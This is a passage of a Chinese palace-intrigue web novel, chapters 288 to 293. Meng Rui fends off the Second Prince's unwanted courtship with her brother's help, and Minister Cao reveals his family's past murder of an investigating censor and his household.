吴宁清保持着客气微笑,“既是如此,那二殿下不介意我先请孟小姐去梅园,我想向孟小姐请教画梅的色彩晕染技法。”
二皇子眼中闪过不满,表面云淡风轻,“不介意,二位自便。”
孟蕊和吴宁清,向二皇子行礼后,带着丫鬟走出了暖阁。
看着两人的背影消失不见,二皇子脸上的笑容维持不住,瞬间转换成冷凝。
他一甩衣袖,转身走到暖阁外的栏杆处吹风。
曹湛走到二皇子身边,见周围无人,叹着气劝道:
“二殿下,我知道您更喜欢温柔秀美的女子,但您要以大局为重,我父亲说,晋国公怕是保不住了,以最坏的情况考虑,我们必须要得到兵权。”
二皇子面带郁色,眉目阴鸷,“纪华筠嫁给孟蕊的二哥,我再娶了孟蕊做正妃,纪家军不也要支持本皇子?”
“道理是这样,但陛下将纪华筠赐婚给他人,就是有心不想纪家军与我们联合。”
曹湛愁眉苦脸,苦口婆心地继续劝说。
“孟家那位夫人,也不是好想与的,她说过要给女儿招赘婿,就是要绝了皇家结亲的路,而且,我看孟小姐对殿下您的态度,也没有一丝情愫可言。”
二皇子狠狠瞪向曹湛,“她想招赘就招赘?她若成了本皇子的人,还不得乖乖就范?”
第288章 自说自话
曹湛听了二皇子的话,吓了一跳。
“殿下,您千万别干傻事!您忘了晋国公府,是如何被查的了吗?”
想到晋国公府做下的破事,曹湛鄙夷不已,对有同样想法的二皇子,也少了几分耐心。
“那许御史之女许南音,被乐师构陷清白之后,尚且能说出终生不嫁的狠话。
有谢家撑腰的瑞嘉县主孟蕊,只要她不愿意,您不但占不到便宜,还会被陛下责罚,若因此失了圣心,就得不偿失了!”
“你竟将本皇子,与乐师那等下贱货色,相提并论?”
二皇子按捺着怒意,不满地瞪着曹湛。
“能被本皇子宠幸,是她的荣幸,没有女人会不愿意做皇子妃。”
“那纪家小姐就不愿意。”
曹湛快要受不了二皇子的厚颜无耻,直接反驳道。
“我们在永宁侯府的眼线禀报,纪小姐和孟二公子被赐婚之前,纪小姐曾与永宁侯夫妇大闹一顿,然后翻墙逃出府去。
我们的人虽没听到他们具体吵了些什么话,不过永宁侯府中的下人都知道,纪小姐不愿参加年后的皇子选妃。
且纪小姐离府后的第二日,谢大人就亲自去求了陛下,为纪小姐和孟二公子赐婚,纪小姐为了不嫁给二殿下您,连父母都能忤逆,足见她的决心。”
本来,曹家和纪家已经谈好,纪华筠嫁与二皇子为正妃,纪家的兵权顺理成章,被二皇子收入囊中。
但二皇子的生母淑妃,因为纪华筠小时候把二皇子手打伤的事,一直没松口,非说纪华筠性情暴躁,不堪为正妃,要为她的宝贝儿子举办选妃宴。
中途恰遇纪华筠离京半年,在曹太后的干预下,二皇子的选妃宴必须等纪华筠回京再办,无论正妃侧妃,曹家都有力促成纪华筠嫁给二皇子。
就算是这样,永宁侯府都没说什么,依然想要以联姻,与二皇子一系达成同盟。
可他们都没想到,纪华筠回京的第二天,谢清源就进宫求了赐婚圣旨,把曹家看好的皇子妃,定给了自己儿子。
而二皇子,失了永宁侯府的助力,只能另寻其他的兵权助力。
镇北王厉青鸿之妹,青城郡主厉青雪,就是曹家为二皇子看中的正妃第二人选。
这次雅集之前,曹太后专门亲自叮嘱二皇子,务必获得厉青雪的好感,以成亲事,进而获得北地镇北王的兵权支持。
二皇子迫于太后施压,即使不喜欢性情火爆的厉青雪,依然乖乖跟着曹湛来到雅集,想着为了大局他愿意讨好厉青雪,忍了这一遭。
但当他来到镇北王府,看到厉青雪和其他俊俏才子玩乐在一起时,心中准备好的计划,全都无法执行。
二皇子气愤地认为,厉青雪待字闺中,就与那么多男人寻欢作乐,若他真娶了她,岂不是要日日头戴绿帽,为人耻笑?
所以,在他又看到规矩守礼、貌美恬静的孟蕊时,再次动了心思。
“本皇子与纪华筠,从小就不和,她不想嫁我,很正常,本皇子还不想娶她呢!”
二皇子没把曹湛的话放在心上,自信满满地说。
“孟蕊是个性情温柔的,其父是父皇的心腹,管着父皇的钱袋子,其祖父谢太傅,是肱股之臣、文臣典范,母妃和太后娘娘都曾有心,指孟蕊做我的皇子妃。
待日后纪华筠嫁给孟瑜,财权和兵权皆是本皇子囊中之物,两全其美,是大大的美事。”
曹湛无语地看着二皇子,真不知道他从哪儿来的自信。
方才孟蕊对二皇子的躲避,和脸上一闪而过的厌恶,曹湛看得清清楚楚。
曹湛觉得,孟蕊那样一个还未找到亲生父母,就敢和安乐侯府公然叫板的勇敢女子,能把难搞的青城郡主牵着鼻子走的聪慧女子,绝不会是她表面看起来那般良善本分。
更何况,孟蕊还有曾经暴打皇子的娘,和常不按套路出牌的爹,两位兄长一文一武,都得陛下看重,二皇子要打孟蕊的主意,曹湛觉得难成。
“殿下想法很好,但切不可胡作非为啊!”
曹湛劝不动二皇子,只能尽量拦着他做离谱的事。
“要不您回去和太后娘娘、淑妃娘娘再商量一下?”
二皇子听曹湛这样说,以为自己说服了他,得意道:
“行了,你放心,本皇子又不是急色之人,不到万不得已,不会做出那等事来。”
曹湛松了口气,顺势夸了二皇子两句,心中却想着,回府后要赶紧将二皇子的决定,告诉父亲曹尚书。
二皇子不愿意娶厉青雪,厉家又没有其他女儿,那还可以从镇北王厉青鸿身上下工夫。
曹家没有嫡女,但曹氏族中适龄又貌美的女子还有几个,选出合适的调教好送去北地,不能上镇北王妃,做个侍妾拉进关系,还是可以的。
……
梅园中,孟蕊和吴宁清,一边观赏着梅花,一边缓缓走着。
行至一处无人的角落,吴宁清对随侍的婢女挥了挥手,让她们去周围守着,明显是有话要单独和孟蕊说。
孟蕊看着忧愁萦绕眉间的吴宁清,也让吟夏和吟秋退后,只剩她和吴宁清两人时,孟蕊开门见山道:
“刚才,多谢吴小姐为我解围,吴小姐找我过来,是有话要与我说?”
“孟小姐,你不必谢我。”
吴宁清看向孟蕊,凝结着愁绪的眼眸中,似有千言万语。
“方才,我不是为你解围,是为了我们吴家和三皇子的利益,不想你与二皇子亲近罢了。”
孟蕊一怔,她没想到吴宁清说话比她更直接,也诚恳道:
“无论吴小姐出于什么目的,都是帮了我,我该谢你的。”
“随你。”吴宁清苦笑,“我出身吴家,没得选,但不想更多人搅入夺嫡这摊浑水。”
听到夺嫡两个字,孟蕊没有接吴宁清的话,只淡淡微笑着,等待吴宁清把话说完。
“昨日我父亲得到消息,大理寺已查出晋国公府在外霸占良田,致死良民,无论晋国公是否卖官鬻爵,晋国公府都要保不住了。”
吴宁清语气冷漠,自顾自地说着,唇边苦笑更甚。
“大理寺查到的证据,是姜瑶想办法送出去的,她立了功,我姑母已经同意,为三皇子纳姜瑶为侧妃。”
第289章 皇子侧妃
孟蕊略带惊讶地望向吴宁清。
晋国公府的案子,孟蕊一直关注着,倒是姜瑶要给三皇子当侧妃的消息,孟蕊今日是第一次听到,想来还没有对外公布。
吴宁清的姑母,是三皇子的生母吴贵妃。
吴贵妃同意姜瑶做三皇子侧妃,那就是八九不离十的事。
兜兜转转,姜瑶依然要嫁给三皇子了吗?
只不过,以姜瑶的心高气傲,她能甘心只当个侧妃?
“听闻吴小姐将来会嫁给三皇子为正妃,这事已经定了吗?”孟蕊问。
吴宁清随手从枝头折下一枝红梅,轻嗅一下,苦涩道:
“三皇子与我,是自小相熟的表兄妹,他对我,没有男女之情,我是知道的,但我更能看出,他喜欢姜瑶,他们感情很好。
我无意插足他们的感情,也不想当三皇子妃,但为了家族的利益,我必须是他的妻子……”
孟蕊静静听着吴宁清忧伤的话语,看来吴宁清做三皇子正妃,已经是板上钉钉的事,可是为什么要专门来告诉她?
“吴小姐告诉我这些,是想让我做什么?”孟蕊直白地问。
毕竟,孟蕊与安乐侯府的官司闹得大,孟蕊和姜瑶不对付,是京中世家闺秀间人人皆知的事。
孟蕊心下快速想着,吴宁清专门告诉她,难道是想让她帮忙对付姜瑶?
“我只是想和你说说,没想让你做什么。”
吴宁清语气平和,但手中拿着的花枝上的红梅,却被她用力扯下,丢在了地上。
“孟小姐,你了解姜瑶,她没在你手上讨到便宜,你觉得,她会安分做个侧妃吗?”
那必然不会啊!孟蕊心中想着,没有说出来。
她是和姜瑶有仇,但和吴宁清也说不上关系好,没必要掺和进吴宁清和姜瑶的争斗,免得无端被人利用。
“吴小姐心中已有答案,又何必来问我?”孟蕊含糊回答。
吴宁清目露伤感,深深凝视着她。
“孟小姐,你救过我,我记你的恩,不会对你不利,今日趁此机会和你说话,只是想从你这里,了解一下姜瑶这个人。
她若是能安分待在侧妃的位置上,我不是没有容人的雅量……”
孟蕊听着吴宁清的要求,眼波微动,有了决定。
“吴小姐,你想要从我这里得到消息,那你也该用我想要的消息来换。”
吴宁清点点头,“合理,你想要什么消息?只要是我能告诉你的,必知无不言。”
“我想知道,半年前太后寿宴,吴小姐偷偷给我的那张纸条,上面的内容,你是如何知晓的?”孟蕊沉声问。
这个问题,困扰她很久了。
吴宁清眉头轻蹙,“我只能告诉你,那张纸条上的消息,是我在宫中听到的。”
“你具体听到了什么?”孟蕊追问。
吴宁清为难道:“有人提到,利用孟家,对付孟天,我知道说的是你母亲,所以用纸条提醒你,其他的,我就不知道了。”
“说话的是何人?这你总知道吧?”孟蕊怀疑地看着她。
吴宁清回避孟蕊的视线,“我不知道。”
撒谎!孟蕊肯定,吴宁清一定认识那个说话之人。
“是三皇子?”孟蕊试探着问。
吴宁清表情不变,“不是,你别为难我。”
“那……是贵妃娘娘?”孟蕊盯着吴宁清的表情继续试探。
吴宁清面上生出恼意,“孟蕊,你有完没完?”
孟蕊收回视线,眸色沉沉思索起来,没有再继续问下去。
两人沉默了一会儿,吴宁清忍不住又开口:
“你要的消息,能说的我都告诉你了,关于姜瑶的事,你也该和我透露一点。”
孟蕊抬眸看向她,斟酌着说:
“吴小姐,我与姜瑶已许久不见,她现在是个什么人,我说不好,但曾经在安乐侯府,污蔑我的身世,要逼迫我为奴的姜瑶,绝不是良善之辈。
还有半年多以前的雅集上,姜瑶拦住我的路,她说我‘燕雀安知鸿鹄之志’,她将自己比作志向远大的鸿鹄,而我是无知又微末的小雀,我便知,她的心很大,且瞧不起我。”
孟蕊不在意地笑了笑,尽量客观评价。
“她那样眼高于顶的人,又与三皇子感情颇深,不会甘心屈居于人下,吴小姐,我这样说,你满意吗?”
“鸿鹄之志?呵,她果然不会甘于只做侧妃。”
吴宁清眸中闪过一丝杀意。
“看来,是不能掉以轻心了。”
孟蕊知道,吴宁清早就做好了决定,来找孟蕊问姜瑶的事,只是想为自己的决定找到更充分的理由,获得心理安慰罢了。
吴宁清要如何对付姜瑶,孟蕊不在乎,这两人都不是省油的灯,随她们斗去。
回到暖阁时,不少人已经完成了画作,孟蕊随手画了一枝红梅,算作交差。
纪华筠不愿意画画,做了首打油诗,比孟蕊更加敷衍。
与她们俩相比,孟瑜画的一树红梅,可谓是认真完成的佳作。
评选投票环节,因为二皇子的加入,参与的公子小姐们,都给这位皇室贵胄面子,大部分人都投票给了他。
孟蕊的票投给了孟瑜,孟瑜投给了纪华筠,纪华筠投给了孟蕊,都不给二皇子涨面子。
厉青雪的票,投给了她欣赏的画师卫云。
最后的结果,毫无疑问是票数最多的二皇子获胜。
厉青雪不太情愿地让霜儿送上备好的彩头,一只通透无暇的白玉簪,给了二皇子。
孟蕊探头瞧了一眼,是很明显的男款玉簪,估摸着厉青雪是给她欣赏的画师卫云准备的,现在送给二皇子,可惜了。
雅集结束,众人向厉青雪告辞,先后走出镇北王府,乘坐自家的马车回府。
孟蕊和孟瑜、纪华筠一起走到镇北王府外,正准备上马车,余光瞥见二皇子,阴魂不散地又向她走来。
“蕊儿妹妹,你身体若不适,我可为你请太医来诊治。”
“二殿下,我妹妹的身体,我做兄长的会照顾,不劳您费心。”
孟瑜警惕地挡在孟蕊和纪华筠前面,拦住二皇子看过来的视线。
“天色不早,宫门即将下钥,您该尽快回宫了。”
第290章 兄长相护
孟瑜身材高大,比二皇子高了一个头。
他神情冷峻,语气冷厉,目光森森,仿佛下一瞬就要揍人。
二皇子心中升起一丝惧意,没有再靠近孟蕊,嘴上却不甘心道:
“孟二公子,本皇子只是关心蕊儿妹妹几句而已,你不必紧张。”
听到对方搬出皇子的势头,孟瑜依然不动如山,冷冷回应:
“二殿下,您只有一个妹妹,那就是五公主,以后,还请您尊礼守德,称呼下官的妹妹瑞嘉县主。”
被孟瑜当众拂了面子,二皇子脸上的微笑绷不住了,“不过一个称呼,你何必小题大做?”
“二殿下,这可不是单单一个称呼的问题哦~”
纪华筠从孟瑜背后走出来,抱着双臂,在孟瑜身侧站定,对二皇子大声道。
“贺尚书说了,礼法乃国之纪纲,皇子公主,更应严格遵照礼法行事,喊对称呼,是尊礼的体现,二殿下,您说是不是啊?”
二皇子脸色一僵,礼部尚书贺维钦可是个老顽固,最是崇尚礼法。
之前五公主犯错,贺维钦就挑起了所有皇子公主的毛病,二皇子也被迫一起学习了一段时间的礼法规矩,那滋味,二皇子不想再体会一次。
纪华筠见二皇子不说话,上前一步,继续道:
“贺尚书最重皇子们的教养,他若是知道二殿下你连称呼都喊错,对着别人家未出阁的姑娘叫什么姐姐妹妹的,不知会作何感想呢?”
二皇子怒视纪华筠,“纪小姐,你言重了。”
“我不言重,我手重!”
纪华筠扬起右手,视线瞥向二皇子曾被年幼的她打伤的左手。
“有些人不长教训,说不该说的话,摸不该摸的地方,是要被惩罚的。”
童年的阴影尚在,二皇子不禁往后退了一步,瞪向纪华筠,“你敢!”
跟在二皇子左右的侍卫,齐齐看向纪华筠。
孟瑜拉住纪华筠的手,把她扯回自己身后,迎面对上二皇子愤怒的眼神,也挡住侍卫虎视眈眈的视线。
“犯错就要受罚,是孩童都懂得的道理,殿下竟不明白?”
孟瑜漆黑的眼眸中闪过杀意,目光沉沉,掠过二皇子瘦弱的身板、细白的脖颈,只需一拳,他就有把握按死这只痴心妄想的臭虫。
二皇子怒火中烧,“孟瑜,你也敢威胁我?”
孟瑜不语,目光再次扫过二皇子的脖颈,略带可惜地收回视线,就算要杀人,也不能在众目睽睽之下,他没那么傻。
“二殿下多虑了,我们该走了。”
说完,孟瑜转身,护送孟蕊和纪华筠上马车。
“你给我站住!”
二皇子怒火中烧,正要上前。
曹湛急匆匆跑过来,拉住二皇子,也挥退左右侍卫。
“二殿下,咱们也该回宫了。”
见二皇子还要往前冲,曹湛死命拽着他,低声在他耳边提醒。
“您别忘了,还要去和太后娘娘复命呢!”
想到曹太后,二皇子冷静下来,咬牙切齿地瞪了眼孟瑜,转身走向自己的马车。
坐在马车上的孟蕊,掀开车帘,望着二皇子怒气冲冲的背影,心中惊喜交加。
惊的是二皇子居然真又对她起了心思,在镇北王府门口闹这一出,明日二皇子对她有意的消息,就会传遍宫内外。
孟蕊当然不愿意嫁给二皇子,连跟他扯上关系,都觉得厌恶。
但对方身份尊贵,若是对她死缠烂打,事情会有点难办。
令她喜的是,二皇子来纠缠她时,二哥和华筠姐姐都为她出头。
孟蕊与纪华筠很相熟了,之前半年的时间都在一起,她们共同行侠仗义,都是常有的事。
而与二哥孟瑜,孟蕊自觉没有那么熟悉。
孟蕊和孟瑜,虽是亲兄妹,但在渝州城初见之前,他们互不相识,从未见过面。
兄妹相认之后,只在孟家堡中,有过短暂的相处。
现在同住在谢府中,各自一个院子,无事时很少说话。
孟蕊一直觉得,二哥孟瑜性格沉默内敛,待人冷淡,所以她也不好意思常去和二哥套近乎,兄妹俩不冷不热地处着,孟蕊心中总会有些失落。
而今天,听到二哥维护自己的话,孟蕊感受到二哥对她这个妹妹的在乎,如何能不高兴?
与孟蕊同坐在马车里的纪华筠,看出孟蕊抑制不住的笑容,好奇地问:
“你招惹了二皇子那个麻烦,一点不着急?”
“急什么?我娘亲当着太后娘娘、后宫嫔妃和那些世家夫人的面说了,我以后是要招赘婿的,二皇子他能来给我当赘婿吗?”
孟蕊已经想好了应对之法,二皇子只要敢戳破窗户纸,孟蕊就拿入赘去堵二皇子的嘴。
“再说,陛下既然给你和我二哥赐婚,肯定考虑过你们纪家的兵权,如此,更不会再让我和二皇子结亲。”
纪华筠赞同地点头,“你说的没错,太后和淑妃想要给你和二皇子赐婚,肯定过不了陛下那一关。”
纪华筠顿了顿,又蹙眉道。
“明面上不用担心什么,但怕就怕,他们玩阴的。”
“玩阴的?”孟蕊挑眉,“你是说那种污我清白的烂主意?”
纪华筠抓住孟蕊的手,语气担忧。
“蕊儿妹妹,你可不能小看这种烂主意,要是成功了,就算框不住你,也能恶心到你,一定要小心防范。”
“放心,我会注意的。”孟蕊正色道。
“只你注意有什么用?”纪华筠急切地说,“他们的人,无孔不入,你需要一个能随时随地保护你的人。”
孟蕊觉得纪华筠过度忧虑了,“我身边的吟夏和吟秋,武功都不错,还有暗卫跟着,紧急时刻我自己也能过上几招,足够应付了。”
“万一出现的是武功高手呢?”纪华筠反问。
孟蕊的目光看向马车外,“我二哥很厉害,他能保护我。”
“你二哥是男子,他又不能像我一样,随时随地跟着你。”纪华筠急得拔高了声音。
孟蕊琢磨过味儿了,探究地看向纪华筠。
“华筠姐姐,你这么说的意思,是想亲自来保护我?这……不太合适吧?你还要回永宁侯府。”
“我不回去,不就行啦!”
纪华筠被看穿了心思,不好意思地笑,干脆直接说出自己的目的。
“蕊儿妹妹,我看你的院子也挺大,多住我一个,绰绰有余。
你可以去和我娘说,请我去你家小住一段时间,我不就刚好能随时随地保护你啦~”
第291章 如此送礼
从镇北王府离开后,孟蕊和孟瑜一起送纪华筠回永宁侯府。
他们特意一起去拜见了永宁侯夫人。
看着神情疲惫的永宁侯夫人,孟蕊猜想,这些日子,精力充沛的纪华筠,在永宁侯府上蹿下跳,把她这对爹娘折腾得够呛。
抱着试试看的心态,孟蕊向永宁侯夫人提出,想请纪华筠到谢府小住数日。
孟蕊已经做好被拒绝的准备了,没想到永宁侯夫人没有立刻说出反对的话,而是扶着额角,思量着望向孟蕊,谨慎地询问:
“只是在谢府小住?你们不会突然跑出京城,去找你母亲吧?”
孟蕊连忙摆手否认,“不会的,纪夫人,真的只是请华筠姐姐在我家小住,不到半个月就要过年,我娘亲届时也会回京,我们不会离开京城的。”
“哦,你娘要回京,是好事。”
永宁侯夫人点点头,神色舒缓。
“我们两家已经赐婚,等你娘回来,也好正式商议成婚的具体事项。”
上次在谢府,只是粗略定了个婚期,三书六礼这些都要开始准备起来,孟天这个女主人不在京中操持,总让人觉得不太好。
“娘,那您同意我去蕊儿妹妹家小住吗?”纪华筠迫不及待地问。
成亲是明年秋天的事,纪华筠更着眼于当下。
她在永宁侯府,几乎每天都和她爹吵架,打又打不起来,还不如去谢家,孟蕊可以陪她练武,玩闹也有意思。
永宁侯夫人没好气地瞥了女儿一眼。
“你现在长本事了,脾气大了,你想去哪儿,我和你爹还能拦得住?”
“你们是拦不住。”纪华筠实话实说,“但为表尊重,女儿还是要征求您二老的同意不是?”
永宁侯夫人看着她,更心烦了。
“你想去,就去吧,别整天在府里头惹我生气,耽误我做正事。”
年节将近,永宁侯府中要处理的事务一大堆,田庄铺面的掌柜汇报,侯府年终的核算,还有各家人情往来,礼品挑选,都要永宁侯夫人过目。
本来就忙得脚不沾地的永宁侯夫人,还要分出精力来纠正女儿纪华筠的出格举止,这些日子累得人都憔悴了几分。
前日带着纪华筠去过一趟皇觉寺,见过方丈大师后,永宁侯夫人也想开了。
儿女之事,顺其自然,强求不得。
这些时日和纪华筠掰扯,永宁侯夫人疲惫不堪,觉得自己都老了好几岁。
再说,纪华筠也没做什么太过分的事,只是喜欢习武罢了。
反正婚事已经定下,夫家的婆母是孟天,那个更离谱的女人,正好和纪华筠臭味相投。
永宁侯夫人觉得,自己以后更管不了她们,索性现在就放弃不管。
“太好了,谢谢娘,我现在就去收拾东西。”
纪华筠开心地一蹦三尺高,对孟蕊和孟瑜交代了句“等我一下”,就风风火火地往自己院子跑。
一刻钟后,纪华筠背着一个大包袱,欢欢喜喜的就要跟着孟蕊和孟瑜走。
“等等。”
永宁侯夫人叫住纪华筠,不放心地嘱咐。
“你们虽已赐婚,但婚前礼不可废,万不能做出伤及两家颜面的事来,你们懂我的意思?”
永宁侯的目光从纪华筠看到孟瑜,那意思很明显,就怕这对有情的小儿女,把持不住,提前做了不该做的事,让两家难堪。
“娘,我是那样的人吗?”
纪华筠感觉自己的人品,受到了母亲的质疑,有些难为情地说。
“我要是想……那啥,早就和阿瑜那啥了,还用得着您来说这个。”
孟瑜则郑重对永宁侯夫人行礼作揖,保证道:
“纪夫人提醒的是,晚辈定会遵守礼法,也会照顾好华筠,请纪夫人放心。”
永宁侯夫人叹了口气,又备了一份礼,一起送去谢府,才终于放了他们离去。
——
谢府,看到纪华筠和孟瑜、孟蕊一起回来,李管家别提多高兴了。
在听到纪华筠要在谢府小住后,李管家连忙派人,去把孟瑜住处旁边的院子收拾出来,安排给纪华筠住。
“纪小姐是贵客,和我们小姐挤在一处,多不方便。”
李管家笑眯眯地说。
“二少爷院子隔壁的菡萏院,宽敞舒适,平时一直有打扫着,只需再添置些被褥
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物什,就能入住,纪小姐您需要什么,只管和我说。”
听到能住在孟瑜旁边,纪华筠高兴还来不及,自然不会推辞。
“我们习武之人,没那么多讲究,有地方住就行。”
之后,纪华筠在菡萏院安置下来,她身边只带了碧枝一个丫鬟,李管家又挑了两个伶俐的丫鬟到菡萏院,供纪华筠使唤。
晚上,谢清源和孟瑾回来,纪华筠来与他们见过面。
谢清源看到明显表情更生动的孟瑜,对纪华筠的到来表示欢迎。
纪华筠顺杆往上爬,认真地对谢清源道:
“谢大人,您别觉得是我恨嫁,着急要住进谢府,我这次来,主要是为了保护蕊儿妹妹。”
“蕊儿怎么了?”谢清源看着旁边安然无恙的孟蕊,不解地问。
“二皇子那个坏色胚,在打蕊儿妹妹主意!”纪华筠愤愤地说。
在谢清源和孟瑾肃然正色的目光中,纪华筠将今日镇北王府门口,二皇子过来纠缠的事,绘声绘色地讲了一遍。
谢清源听到一半,就黑沉了脸,“他休想!”
孟瑾唇边扯出一抹冷笑,不做评价,只对纪华筠拱了拱手道:
“纪小姐大义,之后烦请纪小姐多照顾蕊儿,孟某不胜感激。”
“好说好说。”纪华筠自信地保证,“有我在,不会让宵小之人接近蕊儿妹妹。”
孟蕊不置可否,她觉得二皇子今日的行为不算过激,用不着专门保护。
只要她近期都待在府中,不给二皇子可乘之机,说不定过段时间,二皇子有了新的目标,这事儿就过去了。
然而,第二天上午,宫中送来的礼,打碎了孟蕊侥幸的想法。
领头来送礼的,是淑妃娘娘宫里的大太监秦公公。
秦公公大摇大摆地敲开了谢府的门,声称是替淑妃娘娘和二皇子,来给孟蕊送礼。
门房一听是宫里的人,连忙跑去请李管家过来。
李管家昨日便得了谢清源的嘱咐,这会儿绝不会收二皇子的东西。
但当他到了一看,只有两个箱子摆在大门口,来送礼的秦公公一行人,已经跑得没影了……
第292章 三十年前
这些年谢清源深受圣宠,想来巴结他的人,多不胜数。
跟随谢清源多年的李管家,什么送礼的架势没见过?
看一眼门口的情形,李管家当即明白,淑妃让秦公公说明来意,带人把礼物放下就走,是怕谢家不收,让他们再带回去。
李管家招来谢府的侍卫,分别派去通知在外的谢清源、孟瑾和孟瑜。
另有几个侍卫,给门口的箱子贴上封条,牢牢守着箱子,谁都不许靠近。
正在练武的孟蕊和纪华筠,听到动静,一起到门口查看情况。
听李管家说完事情始末,纪华筠冷哼一声,对孟蕊说:
“瞧瞧,我说什么来着?他们那些个人啊,是要缠上你了,这哪里是送礼,分明是示威,想要蕊儿妹妹你婚事艰难,不得不向他们低头。”
孟蕊微微一笑,不甚在意,“那要让他们失望了,我不嫁人,也没什么的。”
淑妃和二皇子的阳谋,孟蕊也看得明白。
他们自知谢家不愿将孟蕊嫁给二皇子,便向谢家送礼,以淑妃和二皇子的名义,指名道姓地送给孟蕊,其目的有二。
一来试探谢家的态度,是否有结亲的可能;
二来,就是让其他有意与孟蕊结亲的世家高门知道,孟蕊被淑妃和二皇子看中,其他人不得沾染。
婚姻一事,对其他高门贵女来说,重要非常,但对孟蕊这个经历过一世的人来说,并没有多少期待。
她现在的日子过得自由畅快,爹爹和娘亲都不拘着她,想做什么做什么,就算真被淑妃他们搅得嫁不出去,孟蕊也无所谓。
“李管家,这里麻烦你处理,有需要来练武场找我。”
孟蕊觉得练武更重要,转头对纪华筠说。
“华筠姐姐,咱们回练武场吧?刚才那招掌法,我还没练熟。”
见孟蕊从容淡定,并不在意此事的模样,纪华筠也不再担心,和孟蕊一起回练武场继续习武。
小半个时辰后,谢清源最先从商行回来。
看到门口淑妃和二皇子派人送来两个箱子,他面色冷凝,直接叫侍卫把箱子送去曹尚书府上,并带过话去。
“物归原主,休来烦扰。”
淑妃这事做的,也就糊弄一下不明内情的人家,让那些适龄的公子们,对孟蕊避而远之。
谢清源看一眼就知道,这种小家子气的做派,定然没有经过曹尚书和曹太后的准允。
他不想用这种小事惊动日理万机的陛下,所以派侍卫把封存好的箱子,送去曹家。
一方面向曹家表明,谢家无意与曹家扶持的二皇子结亲。
另一方面,也是给曹尚书一个提醒,谢家不惧怕曹家,让曹尚书管好淑妃和二皇子。
李管家带着侍卫,亲自押送箱子,到曹家大门口。
他们把箱子送到,并未像秦公公那样一走了之,而是等到曹湛出来,把事情讲清楚,将谢清源的意思说明白,才慢悠悠回了谢府。
曹湛看着两个烫手山芋一样的箱子,吩咐仆从把箱子抬进府内,又让随从去吏部衙门,请他父亲曹尚书回府商议对策。
一个多时辰后,曹尚书的轿子,抬进了曹府大门。
曹湛急急上前见过父亲,扶着两鬓花白的曹尚书去了书房说话。
曹尚书听完曹湛的禀报,坐在太师椅上,拈着花白的胡子,闲闲饮下一口茶,问儿子:
“你觉得,我们该怎么做?”
“谢家的态度已经明了,他们拒绝与我们合作,那我们也无需再贴上去,二皇子妃的人选,还是青城郡主更合适,得想办法说服二皇子。”
曹湛说出已经打好的腹稿。
“另外,要请太后娘娘,提醒淑妃娘娘和二殿下,让他们要谨慎行事,别再去招惹谢家。
陛下对谢家很重视,多年来圣宠不断,只要谢家不偏向三皇子,保持中立,对我们而言,就是优势。”
“你觉得,他们当真保持中立?”
曹尚书放下茶盏,从袖中拿出一个折子,丢在宽大的红木书桌上,示意曹湛自己看。
“这是许谦昨日递上去的奏折的抄本,他要求调查三十多年前,巡察御史魏正廷在南州暴毙身亡的案子。”
曹尚书老谋深算的眼中,掠过一抹杀意。
“三十多年前的案子,竟然在此时被再度提起,你相信这是巧合吗?”
曹湛从书桌上拿起折子,翻开快速看完,向父亲确认道:
“父亲,魏正廷当年去南州查的人,难道是……”
“正是你三叔,他当年在南州做知府,手上不太干净,被人上告到京城,先帝派魏正廷任巡察御史,前往调查。”
曹尚书漫不经心地说着,嘴角扯动脸上的皱褶,露出一个凉薄阴险的笑。
“魏正廷太聪明,查到的事太多,我们不得不让他闭嘴,他在回京复命的路上,遭遇山匪,身首异处。”
曹湛看着他爹的笑,感到背脊发凉,手中的折子,仿佛有千钧重。
“这折子上还写道,魏正廷在京城的家人,也都在大火中死于非命,他们也是……”
“嗯,斩草除根,是不得不为之事。”
曹尚书平静地承认,那数十条人命在他口中,仿若草芥。
“可惜,我们当年还不够谨慎,放跑了一个漏网之鱼,差点坏了大事,所幸后来找到机会,把大的小的一起处理了。”
曹湛茫然地看着手中折子,三十多年前,他还没出生,对父亲提到的魏家大火一无所知,从未听人谈起过此事。
他也不理解,自己只是在和父亲商议二皇子和谢家的事,怎么会突然讲到三十多年前的灭门惨案?
“父亲,魏正廷的案子和那场大火,都是三十多年前的事了,这么多年过去,早已是悬案,应该查不到我们头上来。”
曹湛镇定分析着,看向父亲询问。
“只是,许御史为何突然提出要查魏正廷的案子?他们是什么关系?”
“魏正廷,曾是许谦的老师。”曹尚书眸光冰冷,“早该除了他。”
曹湛还是不解,“可是,父亲,许御史提出的案子,和谢家有什么关系?您为何如此紧张?”
曹尚书冷眸中闪过精光,压低声音道:
“魏正廷的小女儿魏颖,就是三十多年前魏家的漏网之鱼,她也是当今陛下念念不忘的宸元皇后,这样说,你可明白?”
第293章 曹家野心
曹湛如遭雷击般呆立,一时不敢相信自己听到了什么。
宸元皇后,当今天子元后,闺名谢馨,是谢太傅之女,世人皆知。
她怎么会成了,巡察御史魏正廷的女儿魏颖?
等等!结合他父亲方才所言,曹湛想到了一件更惊悚的事。
京中世家都知道,二十多年前,还是七皇子的当今天子,被兄弟排挤陷害,打发去守皇陵,当时是七皇子妃的宸元皇后,也陪同前往。
皇陵条件艰苦,宸元皇后生下的儿子夭折,不久后,宸元皇后也病逝在了皇陵。
七皇子登基后,追封七皇子妃谢馨,为宸元皇后,且一直没有再立皇后。
同时,皇帝不顾众臣反对,追封他和宸元皇后夭折的大皇子,为元熙皇太子。
但刚刚曹湛听到他父亲说,他们找到机会,把魏家一大一小两条漏网之鱼,都处理了。
这说的,难道就是宸元皇后和元熙皇太子?
天呐,他们曹家,居然做出了足以抄家灭族的大罪!
曹湛心头震颤,“父、父亲,您确定魏颖,就、就是谢太傅之女谢馨?”
“怕了?”
曹尚书看到儿子的反应,淡笑道。
“要确定一个人的身份,对我们曹家而言,不是难事。
魏颖改名换姓,成了谢家的五姑娘,她当年若不嫁给七皇子,我不会派人去查她,再加上五皇子也对她……”
曹尚书布满皱纹的瘦削脸庞上,露出厌恶之色。
“那样祸水一般的女人,自是要把她从出生开始的所有事,能查到的全都调查清楚,果然就发现了端倪。
谢家送去庄子上养病的五姑娘,不到十岁就病逝了,那后来回来的这个谢五姑娘,定是旁人假冒。
再细细详查,谢馨是魏家出事那年,出现在谢家京郊的庄子上,谢馨就是魏颖,是不容置疑的事实。”
曹湛越听越觉得心惊,“那……陛下知道吗?”
“他若是知道,我们曹家还能有如今的荣华富贵?”
曹尚书看着儿子害怕的样子,眉头皱起,额上皱纹加深。
“瞧瞧你这没出息的样子,当年你两个哥哥,在比你现在还小的年纪,已经能为父分忧,我不过是告诉你一点小事,你就怕成这副怂样?”
